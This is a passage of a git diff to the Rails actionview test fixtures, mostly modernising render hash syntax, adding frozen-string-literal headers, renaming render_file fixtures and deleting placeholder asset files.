+    assert_equal "Hello World!", copy.to_s
+    assert_equal "Hello", output
+  end
+
+  private
+    def output
+      @buffer.to_s
+    end
+end
+
+class TestStreamingBuffer < ActiveSupport::TestCase
+  include SharedBufferTests
+
+  setup do
+    @raw_buffer = +""
+    @buffer = ActionView::StreamingBuffer.new(@raw_buffer.method(:<<))
+  end
+
+  private
+    def output
+      @raw_buffer.html_safe
+    end
+end
diff --git a/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb b/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
index 74cc428ffa82a..4cf245bc89cf9 100644
--- a/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
+++ b/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
@@ -1,2 +1,2 @@
-<%= render :partial => 'test/partial' %>
+<%= render partial: 'test/partial' %>
 <%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/builder.builder b/actionview/test/fixtures/actionpack/layouts/builder.builder
index 7c7d4b2dd13ad..c55488edd05c1 100644
--- a/actionview/test/fixtures/actionpack/layouts/builder.builder
+++ b/actionview/test/fixtures/actionpack/layouts/builder.builder
@@ -1,3 +1,3 @@
 xml.wrapper do
   xml << yield
-end
\ No newline at end of file
+end
diff --git a/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
index fd2896aeaa915..e84401f360803 100644
--- a/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
+++ b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
@@ -1 +1 @@
-<%= render :partial => "partial_only_html" %><%= yield %>
+<%= render partial: "partial_only_html" %><%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
index 7298d7969055c..3582285d031aa 100644
--- a/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
+++ b/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
@@ -1,2 +1,2 @@
-<%= render :inline => 'welcome' %>
+<%= render inline: 'welcome' %>
 <%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
index 74cc428ffa82a..4cf245bc89cf9 100644
--- a/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
+++ b/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
@@ -1,2 +1,2 @@
-<%= render :partial => 'test/partial' %>
+<%= render partial: 'test/partial' %>
 <%= yield %>
diff --git a/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
index 790ee896dbeb0..a9950d8e280d2 100644
--- a/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
+++ b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
@@ -1 +1 @@
-<%= render :partial => "test/second_json_partial" %>
\ No newline at end of file
+<%= render partial: "test/second_json_partial" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_hello.builder b/actionview/test/fixtures/actionpack/test/_hello.builder
index ef52f632d1840..fc72df16d036d 100644
--- a/actionview/test/fixtures/actionpack/test/_hello.builder
+++ b/actionview/test/fixtures/actionpack/test/_hello.builder
@@ -1 +1 @@
-xm.hello
\ No newline at end of file
+xm.hello
diff --git a/actionview/test/fixtures/actionpack/test/_partial_only_html.html b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
index d2d630bd402b4..6ba71f2303b9b 100644
--- a/actionview/test/fixtures/actionpack/test/_partial_only_html.html
+++ b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
@@ -1 +1 @@
-only html partial
\ No newline at end of file
+only HTML partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/change_priority.html.erb b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
index 5618977d057ba..5c5f1916b6c11 100644
--- a/actionview/test/fixtures/actionpack/test/change_priority.html.erb
+++ b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
@@ -1,2 +1,2 @@
-<%= render :partial => "test/json_change_priority", formats: :json %>
-HTML Template, but <%= render :partial => "test/changing_priority" %> partial
\ No newline at end of file
+<%= render partial: "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render partial: "test/changing_priority" %> partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/dot.directory/render_template_with_ivar.erb
similarity index 100%
rename from actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb
rename to actionview/test/fixtures/actionpack/test/dot.directory/render_template_with_ivar.erb
diff --git a/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
index 1c64efabd8115..85ce39170c9b9 100644
--- a/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
+++ b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
@@ -1 +1 @@
-formatted html erb
\ No newline at end of file
+formatted HTML erb
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
index 14fd3549fbcdb..f98aaa34a50fd 100644
--- a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
@@ -1 +1 @@
-xml.test 'failed'
\ No newline at end of file
+xml.test "failed"
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
index 0c855a604bc1e..2c5237c9176da 100644
--- a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
@@ -1 +1 @@
-<test>passed formatted html erb</test>
\ No newline at end of file
+<test>passed formatted HTML erb</test>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello.builder b/actionview/test/fixtures/actionpack/test/hello.builder
index a471553941ed1..4c34ee85f02d5 100644
--- a/actionview/test/fixtures/actionpack/test/hello.builder
+++ b/actionview/test/fixtures/actionpack/test/hello.builder
@@ -1,4 +1,4 @@
 xml.html do
   xml.p "Hello #{@name}"
-  xml << render(:file => "test/greeting")
-end
\ No newline at end of file
+  xml << render(template: "test/greeting")
+end
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_container.builder b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
index e48d75c405f2f..24032ab5e0134 100644
--- a/actionview/test/fixtures/actionpack/test/hello_world_container.builder
+++ b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
@@ -1,3 +1,3 @@
 xml.test do
-  render :partial => 'hello', :locals => { :xm => xml }
-end
\ No newline at end of file
+  render partial: "hello", locals: { xm: xml }
+end
diff --git a/actionview/test/fixtures/actionpack/test/hello_xml_world.builder b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
index e7081b89feb6a..d16bb6b5cbd68 100644
--- a/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
+++ b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
@@ -8,4 +8,4 @@ xml.html do
     xml.p "monks"
     xml.p "wiseguys"
   end
-end
\ No newline at end of file
+end
diff --git a/actionview/test/fixtures/actionpack/test/html_template.html.erb b/actionview/test/fixtures/actionpack/test/html_template.html.erb
index 1bbc2b7f09bf9..f4664b6eef6a5 100644
--- a/actionview/test/fixtures/actionpack/test/html_template.html.erb
+++ b/actionview/test/fixtures/actionpack/test/html_template.html.erb
@@ -1 +1 @@
-<%= render :partial => "test/first_json_partial", formats: :json %>
\ No newline at end of file
+<%= render partial: "test/first_json_partial", formats: :json %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/list.erb b/actionview/test/fixtures/actionpack/test/list.erb
index 0a4bda58ee2c8..66ff70c2ccaa0 100644
--- a/actionview/test/fixtures/actionpack/test/list.erb
+++ b/actionview/test/fixtures/actionpack/test/list.erb
@@ -1 +1 @@
-<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
+<%= @test_unchanged = 'goodbye' %><%= render partial: 'customer', collection: @customers %><%= @test_unchanged %>
diff --git a/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
index d539a425a4ef2..cd65da751b342 100644
--- a/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
+++ b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
@@ -1,4 +1,4 @@
 content_for :title do
-  'Putting stuff in the title!'
+  "Putting stuff in the title!"
 end
 xml << "Great stuff!"
diff --git a/actionview/test/fixtures/actionpack/test/potential_conflicts.erb b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
index a5e964e359d82..622dcd3424927 100644
--- a/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
+++ b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
@@ -1,4 +1,4 @@
 First: <%= @name %>
-<%= render :partial => "person", :locals => { :name => "Stephan" } -%>
+<%= render partial: "person", locals: { name: "Stephan" } -%>
 Fourth: <%= @name %>
 Fifth: <%= name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/raise.html.erb b/actionview/test/fixtures/actionpack/test/raise.html.erb
new file mode 100644
index 0000000000000..0f957b2c8bd98
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/raise.html.erb
@@ -0,0 +1 @@
+<% raise %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
index fde9f4bb646cb..bbd65b1452266 100644
--- a/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
+++ b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
@@ -1 +1 @@
-<%= render :file => @path %>
\ No newline at end of file
+<%= render file: @path %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/render_template_with_ivar.erb
similarity index 100%
rename from actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb
rename to actionview/test/fixtures/actionpack/test/render_template_with_ivar.erb
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb b/actionview/test/fixtures/actionpack/test/render_template_with_locals.erb
similarity index 100%
rename from actionview/test/fixtures/actionpack/test/render_file_with_locals.erb
rename to actionview/test/fixtures/actionpack/test/render_template_with_locals.erb
diff --git a/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
index 3db6025860a2c..4b48017566824 100644
--- a/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
+++ b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
@@ -1,2 +1,2 @@
-<%= render :partial => 'partial', :locals => {'first' => '1'} %>
-<%= render :partial => 'partial', :locals => {'second' => '2'} %>
+<%= render partial: 'partial', locals: {'first' => '1'} %>
+<%= render partial: 'partial', locals: {'second' => '2'} %>
diff --git a/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
index d84d909d64a63..7d50d0186243f 100644
--- a/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
+++ b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
@@ -1 +1 @@
-<strong><%= render :partial => "partial_only_html" %></strong>
+<strong><%= render partial: "partial_only_html" %></strong>
diff --git a/actionview/test/fixtures/actionpack/test/with_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
index 7502364cf58a7..567fa7926765f 100644
--- a/actionview/test/fixtures/actionpack/test/with_partial.html.erb
+++ b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
@@ -1 +1 @@
-<strong><%= render :partial => "partial_only" %></strong>
+<strong><%= render partial: "partial_only" %></strong>
diff --git a/actionview/test/fixtures/actionpack/test/with_partial.text.erb b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
index 5f068ebf27eb6..61b4e4905d2b9 100644
--- a/actionview/test/fixtures/actionpack/test/with_partial.text.erb
+++ b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
@@ -1 +1 @@
-**<%= render :partial => "partial_only" %>**
+**<%= render partial: "partial_only" %>**
diff --git a/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
index e54a7cd001a2e..be768042c43a5 100644
--- a/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
+++ b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
@@ -1 +1 @@
-<%= render :template => "test/greeting", :formats => :xml %>
+<%= render template: "test/greeting", formats: :xml %>
diff --git a/actionview/test/fixtures/comments/empty.html+grid.erb b/actionview/test/fixtures/comments/empty.html+grid.erb
new file mode 100644
index 0000000000000..dc3fa32a81782
--- /dev/null
+++ b/actionview/test/fixtures/comments/empty.html+grid.erb
@@ -0,0 +1 @@
+<h1>No Comment</h1>
diff --git a/actionview/test/fixtures/comments/empty.html.builder b/actionview/test/fixtures/comments/empty.html.builder
index 2b0c7207a3a1b..12d6fdd9a5e1e 100644
--- a/actionview/test/fixtures/comments/empty.html.builder
+++ b/actionview/test/fixtures/comments/empty.html.builder
@@ -1 +1 @@
-xml.h1 'No Comment'
\ No newline at end of file
+xml.h1 "No Comment"
diff --git a/actionview/test/fixtures/company.rb b/actionview/test/fixtures/company.rb
index 9f527acdd8978..93afdd5472f49 100644
--- a/actionview/test/fixtures/company.rb
+++ b/actionview/test/fixtures/company.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Company < ActiveRecord::Base
   has_one :mascot
   self.sequence_name = :companies_nonstd_seq
diff --git a/actionview/test/fixtures/custom_pattern/another.html.erb b/actionview/test/fixtures/custom_pattern/another.html.erb
deleted file mode 100644
index 6d7f3bafbba9f..0000000000000
--- a/actionview/test/fixtures/custom_pattern/another.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello custom patterns!
\ No newline at end of file
diff --git a/actionview/test/fixtures/custom_pattern/html/another.erb b/actionview/test/fixtures/custom_pattern/html/another.erb
deleted file mode 100644
index dbd7e96ab682f..0000000000000
--- a/actionview/test/fixtures/custom_pattern/html/another.erb
+++ /dev/null
@@ -1 +0,0 @@
-Another template!
\ No newline at end of file
diff --git a/actionview/test/fixtures/custom_pattern/html/path.erb b/actionview/test/fixtures/custom_pattern/html/path.erb
deleted file mode 100644
index 6d7f3bafbba9f..0000000000000
--- a/actionview/test/fixtures/custom_pattern/html/path.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello custom patterns!
\ No newline at end of file
diff --git a/actionview/test/fixtures/developer.rb b/actionview/test/fixtures/developer.rb
index 1a686a33ce787..cb7ee49eeda8a 100644
--- a/actionview/test/fixtures/developer.rb
+++ b/actionview/test/fixtures/developer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Developer < ActiveRecord::Base
   has_and_belongs_to_many :projects
   has_many :replies
diff --git a/actionview/test/fixtures/developers/_developer.erb b/actionview/test/fixtures/developers/_developer.html.erb
similarity index 100%
rename from actionview/test/fixtures/developers/_developer.erb
rename to actionview/test/fixtures/developers/_developer.html.erb
diff --git a/actionview/test/fixtures/developers/_developer.json.ruby b/actionview/test/fixtures/developers/_developer.json.ruby
new file mode 100644
index 0000000000000..0e4ec2b88a5e6
--- /dev/null
+++ b/actionview/test/fixtures/developers/_developer.json.ruby
@@ -0,0 +1 @@
+{ name: developer.name }.to_json
diff --git a/actionview/test/fixtures/developers/_developer_with_h1.erb b/actionview/test/fixtures/developers/_developer_with_h1.erb
new file mode 100644
index 0000000000000..a1fa921d243ce
--- /dev/null
+++ b/actionview/test/fixtures/developers/_developer_with_h1.erb
@@ -0,0 +1 @@
+<h1 id="name"><%= developer.name %></h1>
diff --git a/actionview/test/fixtures/digestor/comments/_cycle_a.html.erb b/actionview/test/fixtures/digestor/comments/_cycle_a.html.erb
new file mode 100644
index 0000000000000..33231908ebb6e
--- /dev/null
+++ b/actionview/test/fixtures/digestor/comments/_cycle_a.html.erb
@@ -0,0 +1,3 @@
+<% if some_condition %>
+  <%= render partial: "cycle_b" %>
+<% end %>
diff --git a/actionview/test/fixtures/digestor/comments/_cycle_b.html.erb b/actionview/test/fixtures/digestor/comments/_cycle_b.html.erb
new file mode 100644
index 0000000000000..ca45a9e4e236e
--- /dev/null
+++ b/actionview/test/fixtures/digestor/comments/_cycle_b.html.erb
@@ -0,0 +1,3 @@
+<% if some_other_condition %>
+  <%= render partial: "cycle_a" %>
+<% end %>
diff --git a/actionview/test/fixtures/digestor/comments/cycle.html.erb b/actionview/test/fixtures/digestor/comments/cycle.html.erb
new file mode 100644
index 0000000000000..6afa0a22cdbe6
--- /dev/null
+++ b/actionview/test/fixtures/digestor/comments/cycle.html.erb
@@ -0,0 +1 @@
+<%= render partial: "cycle_a" %>
diff --git a/actionview/test/fixtures/digestor/comments/show.js.erb b/actionview/test/fixtures/digestor/comments/show.js.erb
new file mode 100644
index 0000000000000..38b37dfa2bd48
--- /dev/null
+++ b/actionview/test/fixtures/digestor/comments/show.js.erb
@@ -0,0 +1 @@
+alert("<%=j render("comments/comment") %>")
diff --git a/actionview/test/fixtures/digestor/messages/show.html.erb b/actionview/test/fixtures/digestor/messages/show.html.erb
index 42aa2363dd88c..d8b0037b626ec 100644
--- a/actionview/test/fixtures/digestor/messages/show.html.erb
+++ b/actionview/test/fixtures/digestor/messages/show.html.erb
@@ -6,9 +6,9 @@
 
 <%= render @message.history.events %>
 
-<%# render "something_missing"   %>
-<%# render "something_missing_1" %>
+<%= render "something_missing"   %>
+<%= render "something_missing_1" %>
 
 <%
   # Template Dependency: messages/form
-%>
\ No newline at end of file
+%>
diff --git a/actionview/test/fixtures/helpers/abc_helper.rb b/actionview/test/fixtures/helpers/abc_helper.rb
index cf2774bb5f487..999b9b5c6e4c8 100644
--- a/actionview/test/fixtures/helpers/abc_helper.rb
+++ b/actionview/test/fixtures/helpers/abc_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module AbcHelper
   def bare_a() end
 end
diff --git a/actionview/test/fixtures/helpers/helpery_test_helper.rb b/actionview/test/fixtures/helpers/helpery_test_helper.rb
index a4f2951efabc7..9836143848d19 100644
--- a/actionview/test/fixtures/helpers/helpery_test_helper.rb
+++ b/actionview/test/fixtures/helpers/helpery_test_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module HelperyTestHelper
   def helpery_test
     "Default"
diff --git a/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb b/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
deleted file mode 100644
index 6ac6677daa0a0..0000000000000
--- a/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require "very_invalid_file_name"
-
-module InvalidRequireHelper
-end
diff --git a/actionview/test/fixtures/layouts/_partial_and_yield.erb b/actionview/test/fixtures/layouts/_partial_and_yield.erb
index 74cc428ffa82a..4cf245bc89cf9 100644
--- a/actionview/test/fixtures/layouts/_partial_and_yield.erb
+++ b/actionview/test/fixtures/layouts/_partial_and_yield.erb
@@ -1,2 +1,2 @@
-<%= render :partial => 'test/partial' %>
+<%= render partial: 'test/partial' %>
 <%= yield %>
diff --git a/actionview/test/fixtures/layouts/render_partial_html.erb b/actionview/test/fixtures/layouts/render_partial_html.erb
index d4dbb6c76c060..1852f2cc1ea82 100644
--- a/actionview/test/fixtures/layouts/render_partial_html.erb
+++ b/actionview/test/fixtures/layouts/render_partial_html.erb
@@ -1,2 +1,2 @@
-<%= render :partial => 'test/partialhtml' %>
+<%= render partial: 'test/partialhtml' %>
 <%= yield %>
diff --git a/actionview/test/fixtures/layouts/streaming_with_locale.erb b/actionview/test/fixtures/layouts/streaming_with_locale.erb
new file mode 100644
index 0000000000000..e1fdad20730f8
--- /dev/null
+++ b/actionview/test/fixtures/layouts/streaming_with_locale.erb
@@ -0,0 +1,2 @@
+layout.locale: <%= I18n.locale %>
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb b/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb
index 7298d7969055c..3582285d031aa 100644
--- a/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb
+++ b/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb
@@ -1,2 +1,2 @@
-<%= render :inline => 'welcome' %>
+<%= render inline: 'welcome' %>
 <%= yield %>
diff --git a/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb b/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb
index 74cc428ffa82a..4cf245bc89cf9 100644
--- a/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb
+++ b/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb
@@ -1,2 +1,2 @@
-<%= render :partial => 'test/partial' %>
+<%= render partial: 'test/partial' %>
 <%= yield %>
diff --git a/actionview/test/fixtures/mascot.rb b/actionview/test/fixtures/mascot.rb
index 1c0bd7c8fd52b..26a2c7bbe1f1e 100644
--- a/actionview/test/fixtures/mascot.rb
+++ b/actionview/test/fixtures/mascot.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Mascot < ActiveRecord::Base
   belongs_to :company
 end
diff --git a/actionview/test/fixtures/project.rb b/actionview/test/fixtures/project.rb
index 404b12cbab798..019ddb7aef81f 100644
--- a/actionview/test/fixtures/project.rb
+++ b/actionview/test/fixtures/project.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Project < ActiveRecord::Base
   has_and_belongs_to_many :developers, -> { uniq }
 
diff --git a/actionview/test/fixtures/public/.gitignore b/actionview/test/fixtures/public/.gitignore
deleted file mode 100644
index 312e635ee658b..0000000000000
--- a/actionview/test/fixtures/public/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-absolute/*
diff --git a/actionview/test/fixtures/public/elsewhere/cools.js b/actionview/test/fixtures/public/elsewhere/cools.js
deleted file mode 100644
index 6e12fe29c41de..0000000000000
--- a/actionview/test/fixtures/public/elsewhere/cools.js
+++ /dev/null
@@ -1 +0,0 @@
-// cools.js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/elsewhere/file.css b/actionview/test/fixtures/public/elsewhere/file.css
deleted file mode 100644
index 6aea0733b1a1e..0000000000000
--- a/actionview/test/fixtures/public/elsewhere/file.css
+++ /dev/null
@@ -1 +0,0 @@
-/*file.css*/
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/foo/baz.css b/actionview/test/fixtures/public/foo/baz.css
deleted file mode 100644
index b5173fbef2775..0000000000000
--- a/actionview/test/fixtures/public/foo/baz.css
+++ /dev/null
@@ -1,3 +0,0 @@
-body {
-background: #000;
-}
diff --git a/actionview/test/fixtures/public/javascripts/application.js b/actionview/test/fixtures/public/javascripts/application.js
deleted file mode 100644
index 97026929803cc..0000000000000
--- a/actionview/test/fixtures/public/javascripts/application.js
+++ /dev/null
@@ -1 +0,0 @@
-// application js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/bank.js b/actionview/test/fixtures/public/javascripts/bank.js
deleted file mode 100644
index 4a1bee718294e..0000000000000
--- a/actionview/test/fixtures/public/javascripts/bank.js
+++ /dev/null
@@ -1 +0,0 @@
-// bank js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/common.javascript b/actionview/test/fixtures/public/javascripts/common.javascript
deleted file mode 100644
index 2ae1929056771..0000000000000
--- a/actionview/test/fixtures/public/javascripts/common.javascript
+++ /dev/null
@@ -1 +0,0 @@
-// common.javascript
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/controls.js b/actionview/test/fixtures/public/javascripts/controls.js
deleted file mode 100644
index 88168d9f137c2..0000000000000
--- a/actionview/test/fixtures/public/javascripts/controls.js
+++ /dev/null
@@ -1 +0,0 @@
-// controls js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/dragdrop.js b/actionview/test/fixtures/public/javascripts/dragdrop.js
deleted file mode 100644
index c07061ac0cfb8..0000000000000
--- a/actionview/test/fixtures/public/javascripts/dragdrop.js
+++ /dev/null
@@ -1 +0,0 @@
-// dragdrop js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/effects.js b/actionview/test/fixtures/public/javascripts/effects.js
deleted file mode 100644
index b555d63034cea..0000000000000
--- a/actionview/test/fixtures/public/javascripts/effects.js
+++ /dev/null
@@ -1 +0,0 @@
-// effects js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/prototype.js b/actionview/test/fixtures/public/javascripts/prototype.js
deleted file mode 100644
index 9780064a0edc0..0000000000000
--- a/actionview/test/fixtures/public/javascripts/prototype.js
+++ /dev/null
@@ -1 +0,0 @@
-// prototype js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/robber.js b/actionview/test/fixtures/public/javascripts/robber.js
deleted file mode 100644
index eb82fcbdf4f51..0000000000000
--- a/actionview/test/fixtures/public/javascripts/robber.js
+++ /dev/null
@@ -1 +0,0 @@
-// robber js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/subdir/subdir.js b/actionview/test/fixtures/public/javascripts/subdir/subdir.js
deleted file mode 100644
index 9d23a67aa1fda..0000000000000
--- a/actionview/test/fixtures/public/javascripts/subdir/subdir.js
+++ /dev/null
@@ -1 +0,0 @@
-// subdir js
diff --git a/actionview/test/fixtures/public/javascripts/version.1.0.js b/actionview/test/fixtures/public/javascripts/version.1.0.js
deleted file mode 100644
index cfd5fce70e02d..0000000000000
--- a/actionview/test/fixtures/public/javascripts/version.1.0.js
+++ /dev/null
@@ -1 +0,0 @@
-// version.1.0 js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/stylesheets/bank.css b/actionview/test/fixtures/public/stylesheets/bank.css
deleted file mode 100644
index ea161b12b2008..0000000000000
--- a/actionview/test/fixtures/public/stylesheets/bank.css
+++ /dev/null
@@ -1 +0,0 @@
-/* bank.css */
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/stylesheets/random.styles b/actionview/test/fixtures/public/stylesheets/random.styles
deleted file mode 100644
index d4eeead95ca66..0000000000000
--- a/actionview/test/fixtures/public/stylesheets/random.styles
+++ /dev/null
@@ -1 +0,0 @@
-/* random.styles */
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/stylesheets/robber.css b/actionview/test/fixtures/public/stylesheets/robber.css
deleted file mode 100644
index 0fdd00a6a5b2d..0000000000000
--- a/actionview/test/fixtures/public/stylesheets/robber.css
+++ /dev/null
@@ -1 +0,0 @@
-/* robber.css */
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/stylesheets/subdir/subdir.css b/actionview/test/fixtures/public/stylesheets/subdir/subdir.css
deleted file mode 100644
index 241152a905311..0000000000000
--- a/actionview/test/fixtures/public/stylesheets/subdir/subdir.css
+++ /dev/null
@@ -1 +0,0 @@
-/* subdir.css */
diff --git a/actionview/test/fixtures/public/stylesheets/version.1.0.css b/actionview/test/fixtures/public/stylesheets/version.1.0.css
deleted file mode 100644
index 30f5f9ba6ee9a..0000000000000
--- a/actionview/test/fixtures/public/stylesheets/version.1.0.css
+++ /dev/null
@@ -1 +0,0 @@
-/* version.1.0.css */
\ No newline at end of file
diff --git a/actionview/test/fixtures/replies.yml b/actionview/test/fixtures/replies.yml
index 2a3454b8bf844..4b27c7ef1101d 100644
--- a/actionview/test/fixtures/replies.yml
+++ b/actionview/test/fixtures/replies.yml
@@ -3,7 +3,7 @@ witty_retort:
   topic_id: 1
   developer_id: 1
   content: Birdman is better!
-  created_at: <%= 6.hours.ago.to_s(:db) %>
+  created_at: <%= 6.hours.ago.to_fs(:db) %>
   updated_at: nil
 
 another:
@@ -11,5 +11,5 @@ another:
   topic_id: 2
   developer_id: 1
   content: Nuh uh!
-  created_at: <%= 1.hour.ago.to_s(:db) %>
+  created_at: <%= 1.hour.ago.to_fs(:db) %>
   updated_at: nil
diff --git a/actionview/test/fixtures/reply.rb b/actionview/test/fixtures/reply.rb
index 047522c55b4d6..b2b662e1b555a 100644
--- a/actionview/test/fixtures/reply.rb
+++ b/actionview/test/fixtures/reply.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Reply < ActiveRecord::Base
   scope :base, -> { all }
   belongs_to :topic, -> { includes(:replies) }
diff --git a/actionview/test/fixtures/ruby_template.ruby b/actionview/test/fixtures/ruby_template.ruby
index 5097bce47c098..3e0bc445a2b61 100644
--- a/actionview/test/fixtures/ruby_template.ruby
+++ b/actionview/test/fixtures/ruby_template.ruby
@@ -1,2 +1,2 @@
-body = ""
+body = +""
 body << ["Hello", "from", "Ruby", "code"].join(" ")
diff --git a/actionview/test/fixtures/test/_cached_nested_cached_customer.erb b/actionview/test/fixtures/test/_cached_nested_cached_customer.erb
new file mode 100644
index 0000000000000..01bf025cd3022
--- /dev/null
+++ b/actionview/test/fixtures/test/_cached_nested_cached_customer.erb
@@ -0,0 +1,3 @@
+<% cache cached_customer do %>
+  <%= render partial: "test/cached_customer", locals: { cached_customer: cached_customer } %>
+<% end %>
diff --git a/actionview/test/fixtures/test/_cached_set.erb b/actionview/test/fixtures/test/_cached_set.erb
new file mode 100644
index 0000000000000..cd492fc519c36
--- /dev/null
